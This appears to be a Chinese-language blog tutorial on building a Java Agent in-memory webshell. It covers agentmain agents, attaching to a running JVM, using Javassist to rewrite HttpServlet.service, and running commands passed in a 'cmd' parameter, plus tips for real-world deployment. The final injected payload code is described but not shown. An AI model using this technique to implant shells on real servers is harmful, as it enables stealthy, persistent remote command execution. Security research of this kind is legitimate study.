https://boogipop.com/2023/03/02/Agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%89%96%E6%9E%90/#SpringBoot%E4%B8%AD%E7%9A%84InternalDofilter%E9%93%BE
https://goodapple.top/archives/1355
agent内存马达到的效果就是:修改底层已经加载的字节码,添加恶意操作。
Java Agent 使用
分为两种agent,premain-agent的在main方法之前执行,agentmain-agent在main方法之后执行。后面要打内存马的话main方法肯定是已经启动了的,所以主要使用agentmain-agent。
premain-agent
MyAgent
package agent; import java.lang.instrument.Instrumentation;
public class MyAgent { public static void premain(String agentArgs, Instrumentation inst) { inst.addTransformer(new MyTransformer()); } }
|
MANIFEST.MF
Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Premain-Class: agent.MyAgent
|
然后打jar包即可。
agentmain-agent
premain方法改为agentmain。
MANIFEST.MF里的Premain-Class改为Agent-Class。
理解Instrumentation
agent的方法有这个参数。
这玩意是专门用来给Agent操作JVM字节码的。
类加载时,会调用InstrumentationImpl的transform方法。该对象有一个TransformManager,里面有一个list,保存的都是transformer。类加载的字节码依次被transform,上一次transform的结果继续传入下一次transform。transform结束就加载。
所以我们在agent里可以添加自己的Transformer,对字节码进行修改。
假如在attach agent之前就已经加载了要修改的类,那么该类在以后都不会被加载,即该字节码不会进入transform。所以我们要在agent里面检查已经加载的类,拿到我们的target,再重新transform。
agentmain-agent
public class MyAgent { public static void agentmain(String agentArgs, Instrumentation inst) { inst.addTransformer(new MyTransformer(),true); Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) { if("javax.servlet.http.HttpServlet".equals(loadedClass.getName())){ //重新transform inst.retransformClasses(loadedClass); } } } }
|
MyTransformer
public class MyTransformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){ String target = "javax.servlet.http.HttpServlet"; //中间是修改字节码的操作,下面讲 return new byte[0]; } }
|
自己调试至MyTransformer的transform方法时的调用栈:
操作JVM
由于下面注入内存马时要用到agent,而一般方法使用agent都是运行时候加-javaagent
参数,但从实际注入的角度讲不可能重新运行并且加参数。所以要拿到运行程序的JVM,然后让JVM加载我们的agent。
idea中代码所在的jar包tools.jar要手动导入。
public class Test { public static void main(String[] args) throws Exception{
List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ //遍历每一个正在运行的JVM,如果JVM名称为Test则连接该JVM并加载特定Agent //JVM名称就是main方法所在的类名 if(vmd.displayName().equals("test.Test")){
System.out.println("attach!"); //连接指定JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); //加载Agent virtualMachine.loadAgent("E:\\ideaProjects02\\memshell_agent\\out\\artifacts\\memshell_agent_jar\\memshell_agent.jar"); //断开JVM连接 virtualMachine.detach(); }
}
} }
|
Javaassist使用
获取类
ClassPool pool = ClassPool.getDefault(); CtClass c = pool.getCtClass("javax.servlet.http.HttpServlet"); CtClass reqClass = pool.getCtClass("javax.servlet.ServletRequest"); CtClass resClass = pool.getCtClass("javax.servlet.ServletResponse");
|
获取类的方法
// 第一个是方法名,第二个是参数类型 CtMethod ctMethod = c.getDeclaredMethod("service",new CtClass[]{reqClass,resClass});
|
修改方法体
// 必须要花括号包住 ctMethod.setBody("{System.out.println(123);}");
|
使用方法参数
https://www.cnblogs.com/duanxz/p/15664172.html
插入的代码中,$0
表示this,$n
表示第n个参数
插入代码
//在最开头插入 ctMethod.insertBefore("System.out.println(123);");
//在结尾return之前插入 ctMethod.insertAfter("System.out.println(123);");
|
保存修改后的字节码
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){
String target = "javax.servlet.http.HttpServlet";
String className = className.replace("/", "."); if (className.equals(target)) { System.out.println("Find the Inject Class: "+target); ClassPool pool = ClassPool.getDefault(); try {
CtClass c = pool.getCtClass(className);
//... 中间是修改操作
byte[] bytes = c.toBytecode(); c.detach(); // 这是修改后的字节码 return bytes; } catch (Exception e) { e.printStackTrace(); } } return new byte[0]; }
|
寻找hook点
有这么多铺垫,终于到达这里了。
目前我们能完成的操作:修改任意类的任意方法。
那么在springboot处理请求过程中,有哪些方法是必定执行的,我们只要hook他并加入恶意操作即可。注意不能影响正常业务逻辑。
断点打在controller,看看中间有哪些方法可以利用。
理论上任何一定会被调用的方法都可以,不过还得考虑修改代码的难易程度、命令执行结果的回显方式。
这里我选的是HttpServlet的service方法,方法参数里有response用于回显。
Transformer部分的代码
写一个controller,操作JVM加载我们的Agent
访问/exp,再访问/?cmd=whoami即可。
实际利用
1、实际环境中 tools.jar并不会在 JVM 启动的时候默认加载,可以利用URLClassloader 来加载。
File toolsPath = new File(System.getProperty("java.home").replace("jre","lib") + File.separator + "tools.jar"); URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url}); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
|
2、实际环境我们的Agent的jar包需要先写入到环境,JVM才能加载。